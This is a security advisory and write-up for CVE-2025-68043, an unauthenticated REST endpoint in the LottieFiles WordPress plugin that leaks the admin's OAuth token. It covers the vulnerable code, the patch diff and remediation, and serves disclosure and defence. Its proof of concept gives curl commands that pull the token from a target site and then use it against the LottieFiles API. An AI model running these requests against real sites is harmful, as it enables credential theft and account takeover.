CVE-2025-68043: Missing Authorization in LottieFiles Plugin (CVSS 9.8)
Table of Contents
CVE-2025-68043 is a CVSS 9.8 Critical Missing Authorization vulnerability in the LottieFiles WordPress plugin affecting all versions up to and including 3.0.0. All three REST API endpoints exposed by the plugin have no authentication guard whatsoever, and when the administrator has the “Share with others” feature enabled, any unauthenticated attacker on the internet can retrieve the full admin configuration — including the LottieFiles OAuth access token, email address, name, and username — with a single unauthenticated HTTP GET request. Possession of that token gives the attacker complete control over the connected LottieFiles account.
Vulnerability Summary
| Field | Value |
|---|---|
| Plugin Name | LottieFiles |
| Plugin Slug | lottiefiles |
| CVE ID | CVE-2025-68043 |
| CVSS Score | 9.8 (Critical) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Vulnerability Type | Missing Authorization (Broken Access Control) |
| Affected Versions | <= 3.0.0 |
| Patched Version | 3.1.0 |
| Published | February 5, 2026 |
| Researcher | NumeX |
| Wordfence Advisory | Link |
Description
The LottieFiles plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 3.0.0. This makes it possible for unauthenticated attackers to perform an unauthorized action.
Specifically, all three REST API endpoints registered by the plugin at /wp-json/lottiefiles/v1/settings/ (GET, POST, DELETE) use 'permission_callback' => '__return_true', meaning no authentication or authorization is enforced. The most critical consequence is that an unauthenticated attacker can read the stored LottieFiles admin configuration — which includes the administrator’s LottieFiles OAuth access token, email address, name, and username — when the shareWithOthers feature has been enabled by the site administrator. With the stolen access token, an attacker gains full control over the connected LottieFiles account.
Technical Analysis
Vulnerable Code Path
File: src/common.php (lines 1–138, version 3.0.0)
The plugin registers a REST API route inside the rest_api_init action:
// src/common.php — lines 117–137 (vulnerable version 3.0.0)
register_rest_route('lottiefiles/v1', '/settings/', [
// GET — fetch stored LottieFiles config
[
'methods' => ['GET'],
'callback' => 'lottiefiles_getConfig',
'permission_callback' => '__return_true', // ← NO AUTH CHECK
],
// POST — update stored LottieFiles config
[
'methods' => ['POST'],
'callback' => 'lottiefiles_addOption',
'permission_callback' => '__return_true', // ← NO AUTH CHECK
],
// DELETE — delete stored LottieFiles config
[
'methods' => ['DELETE'],
'callback' => 'lottiefiles_deleteConfig',
'permission_callback' => '__return_true', // ← NO AUTH CHECK
]
]);
__return_true is a WordPress built-in that always returns true, effectively disabling all access control for the endpoint.
Execution path for GET (the primary exploit path)
- Attacker sends
GET /wp-json/lottiefiles/v1/settings/— no authentication required. - WordPress routes the request to
lottiefiles_getConfig(). lottiefiles_getConfig()readsget_option('lottie_config_admin')— the WordPress option where the plugin stores the administrator’s LottieFiles credentials (access token, email, name, username, and settings).- Because the attacker is unauthenticated,
is_admin_user()→current_user_can('manage_options')→false, so execution falls into the else branch and callslottiefiles_userData(json_decode($tokenGlobal)). - Inside
lottiefiles_userData():get_user_meta(0, 'lottie_config_-0')returns empty (no meta for user 0).- The code checks
$tokenGlobal->shareWithOthers: if the admin has enabled “share with others”, the full admin config object — including theaccessToken— is returned directly to the unauthenticated caller.
// src/common.php — lottiefiles_userData() (vulnerable version 3.0.0)
function lottiefiles_userData($tokenGlobal)
{
$metaKey = get_meta_key();
$userID = get_current_user_id(); // = 0 for unauthenticated
$userMeta = get_user_meta($userID, $metaKey);
if ($userMeta) {
// ...
} else {
if ($tokenGlobal->shareWithOthers) { // ← if admin enabled this setting…
$tokenGlobal->is_block_logged_in = true;
return $tokenGlobal; // ← …full admin config is returned!
} else {
$data = ['is_block_logged_in' => false];
return $data;
}
}
}
The stored admin config is defined by IHNResponseProps (TypeScript interface in src/admin/settings/reducer/interfaces.ts) and contains:
interface IUserDataProps {
accessToken: string; // LottieFiles OAuth access token
avatarUrl: string;
email: string; // Admin's email address
id: number;
name: string;
username: string;
}
Root Cause
All three REST API endpoints (GET, POST, DELETE) at /wp-json/lottiefiles/v1/settings/ use 'permission_callback' => '__return_true'. This WordPress API idiom explicitly disables authorization, granting access to any caller — authenticated or not — on the public internet.
There is no nonce check, no cookie check, no is_user_logged_in() guard, and no capability check prior to the callback executing.
Why Existing Controls Failed
The plugin contains an internal helper is_admin_user() (calling current_user_can('manage_options')) and conditional logic inside each callback to differentiate admin from non-admin behaviour. However, these internal checks govern what data to return or write, not whether the request is authorized at all. Because permission_callback is __return_true, WordPress never rejects the unauthenticated request; execution always reaches the callback, and the callback’s internal logic — which was designed for logged-in users — leaks admin data through the shareWithOthers code path.
Attack Impact
An unauthenticated attacker who exploits the GET endpoint against a site where shareWithOthers is enabled can:
- Steal the LottieFiles OAuth
accessToken— granting full API access to the connected LottieFiles account (read, write, delete all animations and projects). - Harvest PII — the administrator’s email address, display name, and LottieFiles username are exposed in the JSON response.
- Account takeover of LottieFiles account — with a valid access token the attacker can manage all LottieFiles assets, replace animations site-wide, or delete the entire library, achieving Confidentiality: High / Integrity: High / Availability: High (CVSS 9.8).
Proof of Concept
Disclaimer: This PoC is provided for educational and defensive security research purposes only.
Prerequisites
- WordPress site with the
lottiefilesplugin installed and activated (version <= 3.0.0). - The site administrator has connected their LottieFiles account through the plugin settings page and enabled the “Share with others” option (i.e.
shareWithOthers: trueis stored in thelottie_config_adminWordPress option).
Step-by-Step Reproduction
Step 1: Probe the endpoint unauthenticated
Send an unauthenticated GET request to the settings REST endpoint.
curl -s "https://TARGET_SITE/wp-json/lottiefiles/v1/settings/" | python3 -m json.tool
Step 2: Observe the response
If the administrator has the shareWithOthers feature enabled, the response will contain the full admin configuration:
{
"accessToken": "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9...",
"avatarUrl": "https://lottiefiles.com/cdn/avatars/admin.png",
"email": "admin@example.com",
"id": 123456,
"name": "Site Administrator",
"username": "adminuser",
"copyLottieToMedia": false,
"isAdmin": true,
"shareWithOthers": true,
"enableCdn": false,
"is_block_logged_in": true
}
Step 3: Use the stolen access token against the LottieFiles API
With the accessToken value from the response, authenticate to the LottieFiles API:
# List all files in the attacker's now-accessible LottieFiles account
curl -s "https://graphql.lottiefiles.com/2022-08/graphql" \
-H "Authorization: Bearer STOLEN_ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{"query":"{ userCurrent { name email } }"}'
Expected Result
The attacker obtains a valid LottieFiles OAuth access token belonging to the site administrator, along with the administrator’s email address and account metadata. They can now perform any action on the LottieFiles account that the administrator can — reading private animations, modifying or deleting published animations, or locking the legitimate administrator out.
Verification
Confirm exploitation succeeded by checking the LottieFiles API response to the authenticated query above returns the site administrator’s name and email, or by verifying that operations (listing/modifying animations) succeed using only the stolen token — with no WordPress credentials involved.
Patch Analysis
What Changed
| File | Change |
|---|---|
src/common.php | Replaced 'permission_callback' => '__return_true' with proper auth callbacks for all three endpoints; removed admin-token leakage path in lottiefiles_userData(); renamed global helper functions to prefixed names |
src/admin/settings/init.php | Added ABSPATH guard; sanitized $_SERVER['REQUEST_URI'] |
src/gutenberg-block/init.php | Sanitized $_SERVER['REQUEST_URI']; removed CDN loading; prefixed function names |
Fix Explanation
1. Proper permission_callback values (root cause fix)
The core fix is in src/common.php:
// NEW — GET requires a logged-in user
function lottiefiles_settings_read_permission()
{
return is_user_logged_in();
}
// NEW — POST/DELETE require edit_posts capability (Contributor+)
function lottiefiles_settings_write_permission()
{
return current_user_can('edit_posts');
}
register_rest_route('lottiefiles/v1', '/settings/', [
[
'methods' => WP_REST_Server::READABLE,
'callback' => 'lottiefiles_getConfig',
'permission_callback' => 'lottiefiles_settings_read_permission', // ← FIXED
],
[
'methods' => WP_REST_Server::CREATABLE,
'callback' => 'lottiefiles_addOption',
'permission_callback' => 'lottiefiles_settings_write_permission', // ← FIXED
],
[
'methods' => WP_REST_Server::DELETABLE,
'callback' => 'lottiefiles_deleteConfig',
'permission_callback' => 'lottiefiles_settings_write_permission', // ← FIXED
]
]);
2. Admin-token leakage path removed
lottiefiles_userData() no longer accepts the admin token as a parameter and the shareWithOthers fallback that returned the admin config is removed entirely:
// PATCHED — never returns admin token to non-admin callers
function lottiefiles_userData()
{
$metaKey = lottiefiles_get_meta_key();
$userID = get_current_user_id();
$userMeta = get_user_meta($userID, $metaKey);
if ($userMeta) {
$responseData = json_decode(array_values($userMeta)[0]);
$responseData->is_block_logged_in = true;
$responseData->switchAccount = false; // no longer reads admin option
return $responseData;
} else {
$data = ['is_block_logged_in' => false];
return $data; // always returns false — no admin fallback
}
}
The fix is complete for the reported vulnerability. The shareWithOthers feature is also effectively neutered in the patched version.
Code Diff (Key Changes)
- 'permission_callback' => '__return_true',
+ 'permission_callback' => 'lottiefiles_settings_read_permission',
- 'permission_callback' => '__return_true',
+ 'permission_callback' => 'lottiefiles_settings_write_permission',
- 'permission_callback' => '__return_true',
+ 'permission_callback' => 'lottiefiles_settings_write_permission',
+function lottiefiles_settings_read_permission()
+{
+ return is_user_logged_in();
+}
+
+function lottiefiles_settings_write_permission()
+{
+ return current_user_can('edit_posts');
+}
- function lottiefiles_userData($tokenGlobal)
+ function lottiefiles_userData()
{
...
- if ($tokenGlobal->shareWithOthers) {
- $tokenGlobal->is_block_logged_in = true;
- return $tokenGlobal; // leaked admin token here
- } else {
- $data = ['is_block_logged_in' => false];
- return $data;
- }
+ $data = ['is_block_logged_in' => false];
+ return $data;
}
Timeline
| Date | Event |
|---|---|
| February 5, 2026 | Publicly disclosed by Wordfence (researcher: NumeX) |
| February 9, 2026 | Advisory last updated |
| February 5, 2026 | Patched version 3.1.0 released |
Remediation
Update the lottiefiles plugin to version 3.1.0 or later immediately. If immediate updating is not possible, deactivate the plugin until the update can be applied.
References
- Wordfence Advisory — LottieFiles <= 3.0.0 - Missing Authorization
- Patchstack VDP — Broken Access Control Vulnerability
- SVN Changeset — 3.0.0 → 3.1.0
- CVE-2025-68043 at MITRE
Frequently Asked Questions
What is CVE-2025-68043?
CVE-2025-68043 is a CVSS 9.8 Critical Missing Authorization vulnerability in the LottieFiles WordPress plugin that allows unauthenticated attackers to retrieve the site administrator's LottieFiles OAuth access token and account details.
Which versions of LottieFiles are affected by CVE-2025-68043?
All versions of the LottieFiles plugin up to and including 3.0.0 are affected. Version 3.1.0 contains the fix and is safe to use.
What can an attacker do with CVE-2025-68043?
An attacker can steal the administrator's LottieFiles OAuth access token along with their email address, display name, and username. With that token, the attacker gains full control over the connected LottieFiles account and can read, modify, or delete all animations and projects.
Does an attacker need to be logged in to exploit CVE-2025-68043?
No. The vulnerability can be exploited by anyone on the internet without any WordPress account or credentials.
How do I fix CVE-2025-68043 in LottieFiles?
Update the LottieFiles plugin to version 3.1.0 or later through your WordPress dashboard under Plugins. If you cannot update right away, deactivate the plugin until the update is applied.
Has LottieFiles been patched for CVE-2025-68043?
Yes. Version 3.1.0 was released on February 5, 2026 and fully resolves the vulnerability by enforcing proper authorization checks on all REST API endpoints.